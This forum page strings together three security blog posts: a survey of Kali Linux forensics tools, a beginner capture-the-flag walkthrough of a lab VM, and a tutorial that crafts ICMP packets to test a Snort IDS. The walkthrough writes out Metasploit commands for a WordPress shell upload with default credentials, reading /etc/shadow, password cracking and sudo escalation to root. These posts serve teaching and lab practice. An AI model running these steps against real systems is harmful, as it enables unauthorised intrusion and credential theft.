05-14-2020, 06:44 AM
| 0 | 0 | ||
Forensics is becoming increasingly important in today’s digital age where many crimes are committed using digital technology, having an understanding of forensics can greatly increase the chance of making certain that criminals don’t get away with a crime.
This article is aimed at giving you an overview of the forensic capabilities possessed by Kali Linux.
So, let’s start with the programs as they appear in the forensics menu:
Autopsy
A tool used by the military, law enforcement and other entities when it comes time to perform forensic operations. This package is probably one of the most robust ones available through open source, it combines the functionalities of many other smaller packages that are more focused in their approach into one neat application with a web browser based UI.
It is used to investigate disk images. When you click on Autopsy, it starts the service and its user interphase can be accessed on the web browser at
[To see content please register here]
. It gives the user a full range of options required to create a new case file: Case Name, Description, Investigators Name, Hostname, Host time zone, etc.Its functionalities include – Timeline analysis, keyword search, web artifacts, hash filtering, data carving, multimedia and indicators of compromise. It accepts disk images in RAW or E01 formats and generates reports in HTML, XLS and body file depending on what is required for a particular case.
Its robustness is what makes it such a great tool, be it case management, analysis or reporting, this tool has you covered.
Binwalk
This tool is used while dealing with binary images, it has the capability of finding the embedded file and executable code by exploring the image file. It is a very powerful tool for those who know what they are doing, if used right, it can be used to find sensitive information hidden in firmware images that can be lead to uncovering a hack or used to find a loophole to exploit.
This tool is written in python and uses the libmagic library, making it perfect for usage with magic signatures created for Unix file utility. To make things easier for investigators, it contains a magic signature file which holds the most commonly found signatures in firmware’s, making it easier to spot anomalies.
![[Image: binwalk.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/--AHt--p3kuc/WlCMVBzHGVI/AAAAAAAATKA/sFj5NNTaMX4P4GYC58CYbwC2NUZ9GZsQgCEwYBhgL/s1600/binwalk.png?w=687&ssl=1)
Bulk Extractor
This is a very interesting tool when an investigator is looking to extract certain kind of data from the digital evidence file, this tool can carve out email addresses, URL’s, payment card numbers, etc. This is tool works on directories, files, and disk images. The data can be partially corrupted or it can be compressed, this tool will find its way into it.
The tool comes with features which help create a pattern in the data that is found repeatedly, such as URL’s, email ids and more and presents them in a histogram format. It has a feature by which it creates a word list from the data found, this can assist in cracking the passwords of encrypted files.
![[Image: blk%2Bex.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-00QL5SdzfCg/WlCMV_1XURI/AAAAAAAATKA/xgRZCZ3ITWI4CggdqN9LYhW3Nh9wuJXTgCEwYBhgL/s1600/blk%2Bex.png?w=687&ssl=1)
Chkrootkit
This program is mostly used in a live boot setting. It is used to locally check the host for any installed rootkits. It comes in handy trying to harden an endpoint or making sure that a hacker has not compromised a system.
It has the capability to detect system binaries for rootkit modification, last log deletions, quick and dirty string replacements, and temp deletions. This is just a taste of what it can do, the package seems simple at first glance but to a forensic investigator, its capabilities are invaluable.
![[Image: chroot.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-rFIjxCN-Iw8/WlCMWWzLyII/AAAAAAAATKA/W2F_fPiY_VYCZE6shIMM90FksXbLkKiSQCEwYBhgL/s1600/chroot.png?w=687&ssl=1)
Foremost
Deleted files which might help solve a digital incident? No problem, Foremost is an easy to use open source package that can carve data out of formatted disks. The filename itself might not be recovered but the data it holds can be carved out.
Foremost was written by US Air Force special agents. It can carve files by referencing a list of headers and footers even if the directory information is lost, this makes for fast and reliable recovery.
![[Image: foremost.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-WaeBpDPiAww/WlCMWkO2-EI/AAAAAAAATKA/Qe3UAQm4KSE0fbPfuaLi6G9R1nn-DbOOACEwYBhgL/s1600/foremost.png?w=687&ssl=1)
Galleta
When following a trail of cookies, this tool will parse them into a format that can be exported into a spreadsheet program.
Understanding cookies can be a tough nut to crack, especially if the cookies might be evidence in a cyber-crime that was committed, this program can lend a hand by giving investigators the capability to structure the data in a better form and letting them run it through an analysis software, most of which usually require the data to be in some form of a spreadsheet.
![[Image: galleta.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-UI2okfqbJBE/WlCMWq4ryKI/AAAAAAAATKA/iXCV1DqskOEGJdv_LQKxHAfKTSJMWD1MwCEwYBhgL/s1600/galleta.png?w=687&ssl=1)
Hashdeep
This program is a must when dealing with hashes. Its defaults are focused on MD5 and SHA-256. It can be existing files that have moved in a set or new files placed in a set, missing files or matched files, Hashdeep can work with all these conditions and give reports that can be scrutinized, it is very helpful for performing audits.
One of its biggest strengths is performing recursive hash computations with multiple algorithms, which is integral when the time is of the essence.
![[Image: hashdeep.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-AoKjnS1xGvY/WlCMW7K_RzI/AAAAAAAATKA/CaWEAE1uUxQUtlpBz47IyZhqcIyI_GQvgCEwYBhgL/s1600/hashdeep.png?w=687&ssl=1)
Volafox
This is a memory analysis tool that has been written in Python, it is focused towards memory forensics for MAC OS X. It works on the Intel x86 and IA-32e framework. If you’re trying to find malware or any other malicious program that was or is residing on the system memory, this is the way to go.
![[Image: volafox.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-8EoId5ZFObM/WlCMXVtzOhI/AAAAAAAATKA/e2C_SZGzsj8N-4mQeqN9AXw4_bZcFkfXQCEwYBhgL/s1600/volafox.png?w=687&ssl=1)
Volatility
Probably one of the most popular frameworks when it comes to memory forensics. This is a python based tool that lets investigators extract digital data from volatile memory (RAM) samples. It is compatible to be used with the majority of the 64 and 32-bit variants of windows, selective flavors of Linux distros including android. It accepts memory dumps in various forms, be it raw format, crash dumps, hibernation files or VM snapshots, it can give a keen insight into the run-time state of the machine, this can be done independently of the host’s investigation.
Here’s something to consider, decrypted files and passwords are stored in the RAM, and if they are available, investigating files that might be encrypted in the hard disk can be a lot easier to get into and the overall time of the investigation can be considerably reduced.
![[Image: volatility.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Bpy8Lgt-s6Q/WlCMXt_QiII/AAAAAAAATKA/6ROx3uyLtu4Adnt9XV5IaHB_xUn7p6oSgCEwYBhgL/s1600/volatility.png?w=687&ssl=1)
We will be following up this particular article with an in-depth review of the tools we have mentioned, with test cases.
Have fun and stay ethical.
Today we are going to take another CTF challenge known as Basic Penetration. The credit for making this VM machine goes to “Josiah Pierce” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM
[To see content please register here]
.Security Level: Beginner
Penetrating Methodology:
- Scanning
- Netdiscover
- NMAP
- Enumeration
- Web Directory search
- Credential harvesting
- Exploiting
- Metasploit shell upload
- sh
- Privilege Escalation
- Exploit Sudo rights
Scanning:
Let’s start off by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.1.100 by using Netdiscover.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-b1RxjPJttQA/XO1slFAjhJI/AAAAAAAAelY/cvHLJKHP_jgX2V-inVYgplrcHpKpY3rHQCLcBGAs/s1600/1.png?w=687&ssl=1)
Then we used Nmap for port enumeration. We find that port 21(ftp), 22(ssh) and 80 are open on the target.
nmap -A 192.168.1.100
1
nmap -A 192.168.1.100
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-9QaMNa-0i6c/XO1smAhOIWI/AAAAAAAAels/Gb53bQwOZXwkzSQMJdZE5NQdV2fiO2ZrwCLcBGAs/s1600/2.png?w=687&ssl=1)
Enumeration:
As we can see port 80 is open, so we tried to open the IP address in our browser but we didn’t find anything on the webpage.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-sXP2lM4vNZ8/XO1smw7yfUI/AAAAAAAAelw/-mj7fojck0snAB_tpbxcwYuvtisPjNHlACLcBGAs/s1600/3.png?w=687&ssl=1)
So we used dirb for directory enumeration.
dirb
[To see content please register here]
1
dirb
[To see content please register here]
After bruteforcing with dirb we found a directory named /secret
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4H7w74AN3TU/XO1sm26rjPI/AAAAAAAAel0/NhSzxN4TEU8muTHjk4fZCIgkQi8TsjZWwCLcBGAs/s1600/4.png?w=687&ssl=1)
Now we tried to open it in our browser. We came to know that the website is a WordPress site.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-B8fnA8-eBTo/XO1snMgnAYI/AAAAAAAAel4/D-dZlwr7ewUJblNbsUlur132vwu-oGqBACLcBGAs/s1600/5.png?w=687&ssl=1)
We tried to open the admin page 192.168.1.100/secret/wp-admin but it wouldn’t open and we got redirected to the URL which you can see in the screenshot
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Pu65_1JKgxw/XO1sn3Ndw-I/AAAAAAAAel8/JANkFvB2cPsdu7RMu6Hj6QLr6cjP4W3MgCLcBGAs/s1600/6.png?w=687&ssl=1)
Then we added vtcsec to the hosts file.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-omZ4qN4BIFA/XO1soF93uqI/AAAAAAAAemA/u1s6PzX3oskbLT9EMWQ8ukCWRPVdDgjTwCLcBGAs/s1600/7.png?w=687&ssl=1)
Now we were able to access the admin page.
![[Image: 8.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-1SRK3Ww90Vk/XO1socacOjI/AAAAAAAAemE/JKXA6PMGlJwPhs0md9it4ff5c-X3GpOIwCLcBGAs/s1600/8.1.png?w=687&ssl=1)
Exploiting:
We tried some basic credential combinations used in WordPress and found admin: admin was working for us.
Then we used Metasploit to upload admin shell into the target using the above credentials and wait for a meterpreter session.
use exploit/unix/webapp/wp_admin_shell_upload
set username admin
set password admin
set targeturi /secret/
set rhosts 192.168.1.100
run
1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
set username admin
set password admin
set targeturi /secret/
set rhosts 192.168.1.100
run
We successfully got a meterpreter session.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5fYp5bZsg4o/XO1soibgzqI/AAAAAAAAemI/DZoyw1sVC0U2Tgsbn4xzmM_AI7k7j0EoACLcBGAs/s1600/8.png?w=687&ssl=1)
We then uploaded LineEnum.sh script to check if password hashes are stored in /etc/passwd and also attempt to read restricted file i.e. /etc/shadow.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-UJWv9xUTa10/XO1spJbgfMI/AAAAAAAAemM/lcFDvl4WuWcyuYAkqch_Al_8L18Vu7HlACLcBGAs/s1600/9.png?w=687&ssl=1)
Here we can see the /etc/shadow has read-only permission.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-IJGur9_EChM/XO1slCf4IRI/AAAAAAAAelg/yVlJtu3-Nz4PC9-DpzApIKt_6RG17V6ZQCLcBGAs/s1600/10.png?w=687&ssl=1)
After opening the /etc/shadow file we can see there is a user with the name marlinspike
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-hu9MVSzQTC8/XO1slDgoAcI/AAAAAAAAelc/bEs4LLHVKToHAz72Dpi8t_tp9CizE7-_gCLcBGAs/s1600/13.png?w=687&ssl=1)
We downloaded this shadow file into our local system and used John the Ripper to crack the password.
We found the password for the user marlinspike is marlinspike
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-GhHzZI2vb5k/XO1sl1pdDiI/AAAAAAAAelk/S2xKXpDNhYAztwas4yEvywAOneO2c6mHwCLcBGAs/s1600/14.png?w=687&ssl=1)
Privilege Escalation
Now we log in as marlinspike.
We checked the sudoers list and found that we have all the access as root, so we did sudo as superuser.
Great! We have successfully completed our challenge as we able access the target as a root user.
su marlinspike
sudo –l
sudo su
id
1
2
3
4
su marlinspike
sudo –l
sudo su
id
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-FT4-P53hQK8/XO1smERyYTI/AAAAAAAAelo/u_7VDnFoLDw7cT1F12Mj4KfBSVdvJNvsQCLcBGAs/s1600/15.png?w=687&ssl=1)
In our previous article, we had discussed “
[To see content please register here]
” where we had seen how an ICMP protocol work at layer 3 according to the OSI model and study its result using Wireshark. Today we are going discuss to ICMP penetration testing by crafting ICMP packet to test our IDS “Snort” against all ICMP message Types using Cat Karat tool, you can download it from[To see content please register here]
link.For configuring Snort as IDS read our previous article “
[To see content please register here]
” it will automatically install snort in your system with a predefined set of rules that will help in packet capturing of your network.Let’s start!!
Basically, we will perform this practical in three phases as described below:
Packet crafting: In this phase, we will craft each ICMP packet with a different type of ICMP message using Cat Karat. For more detail about Packet crafting process read our previous
[To see content please register here]
.Packet Capturing: In this phase, we will capture the ICMP packet and receive an alert when it will enter into the target’s network using snort as IDS.
Packet Analysis: In this phase, we will investigate the captured packet using Wireshark.
Brief Introduction on ICMP Protocol
ICMP message contains two types of codes i.e. query and error.
Query: The query messages are the information we get from a router or another destination host.
For example, given below message types are some ICMP query codes:
- Type 0 = Echo Reply
- Type 8 = Echo Request
- Type 9 = Router Advertisement
- Type 10 = Router Solicitation
- Type 13 = Timestamp Request
- Type 14 = Timestamp Reply
For example: given below message types are some of the ICMP error codes:
- Type 3 = Destination Unreachable
- Type 4 = Source Quench
- Type 5 = Redirect
- Type 11 = Time Exceeded
- Type 12 = Parameter Problems
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-NKHYA2r1xRk/Wkz8dmcgnlI/AAAAAAAATHU/2Rlu_J7uBvwbzEr8dsgWd0g3EVBwliSDACEwYBhgL/s1600/1.png?w=687&ssl=1)
Message TYPE 0 ICMP Packet Crafting
So as we know in Packet Crafting Operation “Packet Assembly” is the 1st phase where we need to decide protocol for crafting any packet, which is quite easy to select with this tool. Only enable the radio button for selecting protocol and direction flow of packet. Here I had enabled radio buttons for “IPv4” and “ICMP” without disturbing remaining default packet flow as shown given below image.
Next, we need to select the “interface” which you can select from the Interfaces by double-Click on it.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-DcKZG_XZJ24/Wkz8g-o5L_I/AAAAAAAATHU/h9qRp0yBRHEe-mOJAy5LhjXsDKy5cokoQCEwYBhgL/s1600/2.png?w=687&ssl=1)
Now next is “packet Editing” phase where you need to specify the source IP address such as 192.168.1.2 from which packet will be sent and Destination IP address such as 192.168.1.107 on which packet is received. Moreover, you can also make some changes in your packet such as Time to live (TTL), Data length and also can go with packet fragmentation.
From given below image you can observe I had added source and destination IP in the packet under the third section protocol view -> Ipv4
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-VRHKfeamr7Y/Wkz8mOVp5KI/AAAAAAAATEo/VfZ0dq0zGxo7uLaVTbrz1rrEBQ7JsuD2ACEwYBhgL/s1600/4.png?w=687&ssl=1)
Under the 3rd section protocol view in catKarat explore ICMP tab and select “0-Echo Response” option which generates type 0 ICMP message. Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network which known as “packet playing” phase of packet Crafting operation. This ICMP message type also uses to test the strength of IDS and Firewall against ICMP smurf Dos Attack.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-LpP8wDxd_Ag/Wkz8pLxxgBI/AAAAAAAATGE/vDvheOsMzqcFsxGobSsMLYD1yFiW1eMMQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Capturing ICMP-Type0 packet through IDS
The advantage of install snort through apt respiratory is that it is quick and easy to install in your system as well as it contains a predefined set of rule files related to every type of network traffic either TCP/UDP or ICMP.
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP echo Reply packet is found in the network. This rule also works against Smurf Dos attack in which ICMP echo reply/response traffic is received on the target’s network without sending genuine ICMP request packet from the target’s network to another network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 6.jpg?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5IoVH__Zpiw/Wkz8rDhiYrI/AAAAAAAATG4/orRA7p2fYVERutySsKSYj-IcBMTiUM5zgCEwYBhgL/s1600/6.jpg?w=687&ssl=1)
So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Echo Reply” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 7.jpg?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-vusmuTvVQ78/Wkz8ry6elkI/AAAAAAAATHE/WXC5Cav1iSQTzLgZa4B9IlxQ0zUW0zDLACEwYBhgL/s1600/7.jpg?w=687&ssl=1)
Analysis ICMP-Type0 packet through Wireshark
Now the Last phase is Packet Analysis which is also the last mode of operation of packet crafting process where the received packet is analysis using packet analysis tool. Here we had to use Wireshark for capturing incoming traffic. From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type packet, and other information.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-BYKRLuhazG4/Wkz8r71DBoI/AAAAAAAATHM/RyUHeiqOhQ8BSYzzIznI8DQRfWZXP-FTACEwYBhgL/s1600/8.png?w=687&ssl=1)
When the tester will click on Stop button given in the menu bar of Cat Karat tool he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 0 is successfully sent on the target machine.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-csdw7Sx67aM/Wk0EhF58jkI/AAAAAAAATHo/RaenwUXmIW8qQSrevwcU-i-nADmx7n0swCEwYBhgL/s1600/9.png?w=687&ssl=1)
Message TYPE 1 ICMP Packet Crafting
So the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with the target network.
Since we want to send traffic through message type 1 packets for establishing a connection with target network therefore select Type -1 Reserved from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network which known as “packet playing” phase of packet Crafting operation.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-IBLcC2FQ5xA/Wkz8dwAKXtI/AAAAAAAATHc/EZJ7E84oEgkLFRAwE8RXjWxrhuE3p2RywCEwYBhgL/s1600/10.png?w=687&ssl=1)
Capturing ICMP-Type1 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP unassigned type 1 packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wWwn5gDnUe8/Wkz8eUclvlI/AAAAAAAATHg/-YBkr5rG9JMv61UiwCM598b-DFkeNxeMQCEwYBhgL/s1600/11.png?w=687&ssl=1)
So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP unassigned type 1” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 12.jpg?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-n1SGWlgEFP4/Wkz8e0v_sJI/AAAAAAAATHk/RK0F1v6esDoNcYe_TSOeC0j-oEDj15lRQCEwYBhgL/s1600/12.jpg?w=687&ssl=1)
Analysis ICMP-Type1 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “Reserved” packets and other information.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-_LHsRYNFiIM/Wkz8e4iHYAI/AAAAAAAATHU/uar0FmObjNcrsbLp2kXkWGLjkPIV5FwwACEwYBhgL/s1600/13.png?w=687&ssl=1)
When the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 1 is successfully sent on the target machine.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-YxG8P-olY0E/Wkz8ezrG-wI/AAAAAAAATHU/dLAGZG6acw8eTvEbtrW8FjiexzcvGuSXgCEwYBhgL/s1600/14.png?w=687&ssl=1)
Message TYPE 2 ICMP Packet Crafting
Again the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with target network.
Since we want to send traffic through only message type 2 packets for establishing a connection with target network therefore select Type 2 Reserved from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button for sending the packet on target’s network.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-8GrRJo5pYIc/Wkz8ffk1jOI/AAAAAAAATHg/W8KEN_tBPLEx-HVTIKSLfgHsb0dX0g6-wCEwYBhgL/s1600/15.png?w=687&ssl=1)
Capturing ICMP-Type2 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP unassigned type 2 packet is found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Jtg8-xEEyjg/Wkz8fvO2u7I/AAAAAAAATHU/DMZu8Tq7s-MtJBYnDaA-jISNKoNp5IeyQCEwYBhgL/s1600/16.png?w=687&ssl=1)
So when again our IDS received any matching packets defined in its file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP unassigned type 2” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 17.jpg?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-RCSoirYHNeU/Wkz8gGFeFCI/AAAAAAAATHU/uAPjT8bMf-oVOJ7oHPrUAc7F1ehtFjk3ACEwYBhgL/s1600/17.jpg?w=687&ssl=1)
Analysis ICMP-Type2 packet through Wireshark
Here also the Wireshark has captured exactly same information as per our prediction and fetch same details which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message “Reserved” packet and other information.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-j4OeOXWCEPI/Wkz8gZY7PPI/AAAAAAAATHU/xSTX7F541h4HveO6yKZ9p8wUlrabgyIzgCEwYBhgL/s1600/18.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 2 is successfully sent on the target machine.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-p8dgw444TZo/Wkz8gRTT0VI/AAAAAAAATHg/aKC2xP6zoPkXkznZS1DUwfiT8PSERgUWgCEwYBhgL/s1600/19.png?w=687&ssl=1)
Message TYPE 3 ICMP Packet Crafting
Now we want to send traffic through message type 3 packets for establishing a connection with the target network, therefore, select Type 3 Destination Unreachable from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-MPUbVf7LjD8/Wkz8g2I24oI/AAAAAAAATCc/vunakk868fwaMwwrSDo0Hj6jdr8Xz0LaACEwYBhgL/s1600/20.png?w=687&ssl=1)
Capturing ICMP-Type3 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Destination Unreachable Network Unreachable packet when found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-FJaN0Aekx0c/Wkz8hZJ4DGI/AAAAAAAATHk/39_jJNbWXywsSWWKWEyV8m_NnnPBwR9bQCEwYBhgL/s1600/21.png?w=687&ssl=1)
As said above so when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Destination Unreachable Network Unreachable” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 22.jpg?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-oCarJxQTWVY/Wkz8htWVZAI/AAAAAAAATCs/PcineSaBRLsrGRoQNNmp6w4CBDtt-LJEACEwYBhgL/s1600/22.jpg?w=687&ssl=1)
Analysis ICMP-Type3 packet through Wireshark
From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as ICMP protocol, ICMP message type “Destination Unreachable” (Network Unreachable) packet and other information.
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ZuCaaHC-2ug/Wkz8hrY0dpI/AAAAAAAATHk/3WlcLfteYPc9JOU2SIJMI-x48Mid0SY-gCEwYBhgL/s1600/23.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 3 is successfully sent on the target machine.
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-i7Ijio9Qwuc/Wkz8hzmm6xI/AAAAAAAATCw/ZBO0rGueLp8HYGoPoLgbmzADFrv7p7ihQCEwYBhgL/s1600/24.png?w=687&ssl=1)
Message TYPE 4 ICMP Packet Crafting
So the Packet Assembly phase and Packet Editing phase for ICMP packet crafting are almost the same as above only the difference is made in change ICMP message through which connection will be established with the target network.
Since we want to send traffic through message type 4 packets for establishing a connection with target network therefore select Type 4 Source Quench from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network which known as “packet playing” phase of packet Crafting operation.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-X2P_F2JgUwM/Wkz8idjZ5aI/AAAAAAAATC0/lr8mDHKCKKAJdiCdaBYwo9cY4JVGsrUDwCEwYBhgL/s1600/25.png?w=687&ssl=1)
Capturing ICMP-Type4 packet through IDS
From given below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP Source Quench packet when found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-9KRas38v9Qo/Wkz8il69ErI/AAAAAAAATC8/kLQesL4fpsA0l7C2GXT3bgZpSAI__l5VQCEwYBhgL/s1600/26.png?w=687&ssl=1)
So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Source Quench” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
![[Image: 27.jpg?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-xBmSGh4BJZQ/Wkz8i3FIJwI/AAAAAAAATHc/79CiRtGlbh4_pnA24_am0CGwulklnDHWgCEwYBhgL/s1600/27.jpg?w=687&ssl=1)
Analysis ICMP-Type4 packet through Wireshark
Here also the Wireshark has captured exactly same information as per our prediction and fetch same details which we had a bind in the packet during packet Assembly and packet Editing modes such as ICMP protocol, ICMP message type “Source quench” packet and other information.
![[Image: 28.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5H2oJdz-bg4/Wkz8jHuJPlI/AAAAAAAATDI/OFDr7b_s-eUNKMgeDwUq4w8BtAO341QkgCEwYBhgL/s1600/28.png?w=687&ssl=1)
Again when the tester will click on the Stop button, he will receive the status of the sent packet either as successful or as failed.
From given below image you can perceive that our ICMP Type 4 is successfully sent on the target machine.
![[Image: 29.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-0DNsmz4hnxw/Wkz8jM3eCVI/AAAAAAAATDE/WUbc4cLbKgYmVcUGaaWr7sD1PZ73ekQMwCEwYBhgL/s1600/29.png?w=687&ssl=1)
Message TYPE 5 ICMP Packet Crafting
We want to send traffic through message type 5 packets for establishing a connection with the target network, therefore, select Type 5 Redirect from the given list.
Once everything is edited then your packet is ready to send on the target network. Click on play button given in menu bar for sending the packet on target’s network.
![[Image: 30.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-yK1G5m3MRj8/Wkz8jYsdqII/AAAAAAAATDQ/iTqn3B1PlnMAWGxEfCAqQX9CATadRuXqQCEwYBhgL/s1600/30.png?w=687&ssl=1)
Capturing ICMP-Type5 packet through IDS
As given in below image you can observe that inside the file “icmp-info rules” an alert rule is already implemented for capturing the traffic of ICMP redirect net packet when found in the network.
Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-rUskARGGwHs/Wkz8j5yJnwI/AAAAAAAATDg/B-YiJQGHR_gJAEbOuQuZXwOow0PrA9C3wCEwYBhgL/s1600/31.png?w=687&ssl=1)
So when IDS received any matching packets defined in a file of rules then generate an alert for the captured packet. From given below image you can observe that an alert is generated by snort for “ICMP Redirect net” packets from source address 192.168.1.1.2 to destination 192.168.1.107.
